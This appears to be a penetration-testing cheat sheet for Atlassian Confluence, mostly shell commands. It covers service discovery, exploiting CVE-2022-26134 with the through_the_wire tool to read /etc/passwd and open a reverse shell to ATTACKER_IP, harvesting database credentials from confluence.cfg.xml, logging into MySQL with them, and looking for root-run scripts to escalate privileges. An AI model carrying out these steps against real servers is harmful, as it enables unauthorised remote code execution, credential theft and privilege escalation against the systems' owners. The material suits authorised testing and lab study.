Atlassian Confluence

Confluence commonly runs on Tomcat behind port 8090. A second HTTP service on 8091 with Server: Aleph/... is often Synchrony, used by Confluence for collaborative editing.

Discovery

nmap -sC -sV TARGET -p 8090,8091
# 8090/tcp open  http  Apache Tomcat
# http-title: Log In - Confluence
# 8091/tcp open  http  Server: Aleph/0.4.6

Useful paths:

http://TARGET:8090/login.action
http://TARGET:8090/index.action

CVE-2022-26134 - OGNL Injection

Unauthenticated OGNL injection in Confluence can allow file read and command execution. One working tool is through_the_wire.

git clone https://github.com/jbaines-r7/through_the_wire
cd through_the_wire

Read a file first to confirm exploitation:

python3 through_the_wire.py --rhost TARGET --rport 8090 --lhost ATTACKER_IP --protocol http:// --read-file /etc/passwd

Get a reverse shell:

python3 through_the_wire.py --rhost TARGET --rport 8090 --lhost ATTACKER_IP --protocol http:// --reverse-shell

The shell usually lands as the confluence user.

Post Exploitation

Confluence stores database connection details in confluence.cfg.xml:

cat /var/atlassian/application-data/confluence/confluence.cfg.xml

Look for:

<property name="hibernate.connection.url">jdbc:mysql://localhost:3306/confluence</property>
<property name="hibernate.connection.username">confluence</property>
<property name="hibernate.connection.password">PASSWORD</property>

Use the credentials locally:

mysql -u confluence -p'PASSWORD' confluence
mysql -u confluence -p'PASSWORD' -e "show tables;" confluence

Also check for backups with stricter permissions. They are worth noting for later if you escalate:

ls -la /var/atlassian/application-data/confluence/
# confluence.cfg.xml
# confluence.cfg.xml.backup

Interesting Files

/opt/atlassian/confluence/
/opt/atlassian/confluence/logs/
/var/atlassian/application-data/confluence/
/opt/atlassian-confluence-*.bin

If you see scripts near /opt/atlassian/ owned by confluence, check whether root runs them from cron or a timer.